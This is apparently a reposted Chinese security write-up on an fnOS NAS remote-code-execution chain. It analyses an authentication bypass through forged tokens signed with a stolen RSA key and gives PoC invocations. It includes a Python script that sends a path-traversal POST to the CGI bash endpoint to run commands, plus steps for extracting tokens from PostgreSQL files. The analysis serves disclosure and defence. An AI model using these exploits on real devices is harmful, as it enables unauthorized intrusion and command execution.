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飞牛系统(fnOS)远程代码执行链:认证绕过

  • 2026-02-05 00:41:56
飞牛系统(fnOS)远程代码执行链:认证绕过

前言

在最近针对飞牛OS的0day攻击中,攻击者可能利用了三个漏洞来实现完整攻击链。作者:bron1e,https://github.com/bron1e/fnos-rce-chain

  1. 任意文件读取
  2. 认证绕过
  3. 授权命令执行

其中任意文件读取和授权命令执行已被披露。本文主要对飞牛OS的认证绕过进行分析,并提出另一潜在命令执行路径。

认证绕过

1. 原理分析

1.1 登录逻辑

飞牛OS的登录逻辑如下:

用户请求 (Login/ChangePassword)       |       v[ 应用程序 ]       |       +---> 1. 验证/修改密码       |        |       |        +---> [ 内存缓存 passwd ]       |        |       |        +---> [ Linux 系统调用 (crypt/PAM/chpasswd) ] ---> [ /etc/shadow ]       |        |       |        +---> [ smbpasswd 命令 ] ------------------------> [ Samba 密码库 ]       |       +---> 2. 登录成功后生成                +---> [ 内存缓存 secret, token ]                |                +---> [ PostgreSQL 数据库 ] ---> 表: longtoken

授权命令执行需要拿到 secret 或者 token。但读取堆内存略微困难,因此要么读取到 longtoken 转化为 token,要么想办法利用业务漏洞。

1.2 交互逻辑

前端使用 Websocket 协议交互,登录流程如下:

1.3 Token生成逻辑

在 /usr/trim/bin/handlers/users.hdl 中的 do_login 函数中包含了 secret, token, longtoken的生成逻辑:

  • Secret (16字节):随机生成的 16 字节数据,强制将第 16 字节设置为 o

  • Token (32字节):

    • 前 16 字节 (IV):由时间戳、计时器和随机数拼接而成。

    • 后 16 字节 (Cipher):使用 RSA 密钥对 Secret 进行 AES 加密后的数据。

因此 secret 和 token 可以相互转化,这点很重要。

在 /usr/trim/bin/trim 中的 handle_websocket_packet 函数中包含了鉴权逻辑。

后端能够解析两种类型的包:

  • 加密包:不需要 secret 签名
  • 明文包:除非req白名单或者设置了no_sign,否则需要secret对请求体签名

看上去可以构造一个加密包,然后使用 longtoken 进行登录,从而绕过签名:

{"req""user.tokenLogin","reqid": xxx,"token": long_token, "deviceType": xxx,"deviceName": xxx,"did": xxx,"si": xxx,}

遗憾的是,加密包会触发token长度的判断。

不过这里存在另一个漏洞:

验签时如果存在 token 字段,则直接对 token 解密得到 secret,然后对请求体计算签名。

因此,可以自己生成 secret 和 token 绕过认证。

2. PoC

需获取系统中的 rsa_private_key.pem(通过任意文件读取漏洞获取)。

# 1. 命令执行python poc.py -k ./rsa_private_key.pem rce# 2. 获取会话tokenpython poc.py -k ./rsa_private_key.pem login -t 9XlXMOgDAABCfaZpAAAAAAluArwO5RZ2JbzjA6m9hmnjp0KtNSz/SA==

拓展

1. CGI路径穿越

/usr/trim/bin/trim_http_cgi 存在一个稍弱的路径穿越、命令执行。

filepath.Join并不防御路径穿越,因此能从 /var/apps_ui 穿越到 /var,并执行任意文件。但存在有一些限制:

  1. 需要合法token
  2. 由于nginx的解析问题,只能穿越一层到 /var

利用思路:需要结合认证绕过和后文提到的postgresql数据库中的longtoken,生成一个合法token,调用文件上传的API,上传一个bash到/var目录。

import requestsimport sysTARGET_IP = "192.168.108.168"TARGET_PORT = 5666TOKEN = "g9auUGNTfmkV7fEAVF6qTdH2kQ9CgBkEHmkUBsNvU/8="url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi/third-party/%2e./bash"headers = {"User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36","Authorization"f"token {TOKEN}","Content-Type""application/x-www-form-urlencoded"}commands = "echo 1> /tmp/test.txt"print(f"[*] Attacking: {url}")print(f"[*] Using Token: {TOKEN[:10]}...")print(f"[*] Command: {commands}")try:# 发送 POST 请求    response = requests.request("POST", url, headers=headers, data=commands, timeout=10)    print("\n[+] Status Code:", response.status_code)    print("[+] Response Body (Command Output):\n")    print("-" * 40)    print(response.text)    print("-" * 40)except Exception as e:    print(f"[-] Error: {e}")

2. 读取postgresql数据库

PostgreSQL数据库位于 /var/lib/postgresql/*/main/base

该目录下有若干个数据库目录,通常为40000+,需要读取每个数据库下的pg_class表(固定OID为1259),然后从中获取 longtoken 表的 OID。

参考

https://club.fnnas.com/forum.php?mod=viewthread&tid=53230https://v2ex.com/t/1189392

网络安全情报攻防站

www.libaisec.com

综合性的技术交流与资源共享社区

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  1. CONNECT:[ UseTime:0.001282s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.001667s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.013300s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.003103s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.001463s ]
  6. SELECT * FROM `set` [ RunTime:0.009967s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.001514s ]
  8. SELECT * FROM `article` WHERE `id` = 472155 LIMIT 1 [ RunTime:0.038489s ]
  9. UPDATE `article` SET `lasttime` = 1770442341 WHERE `id` = 472155 [ RunTime:0.038457s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 65 LIMIT 1 [ RunTime:0.003779s ]
  11. SELECT * FROM `article` WHERE `id` < 472155 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.001315s ]
  12. SELECT * FROM `article` WHERE `id` > 472155 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.006834s ]
  13. SELECT * FROM `article` WHERE `id` < 472155 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.039089s ]
  14. SELECT * FROM `article` WHERE `id` < 472155 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.016229s ]
  15. SELECT * FROM `article` WHERE `id` < 472155 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.128824s ]
0.498799s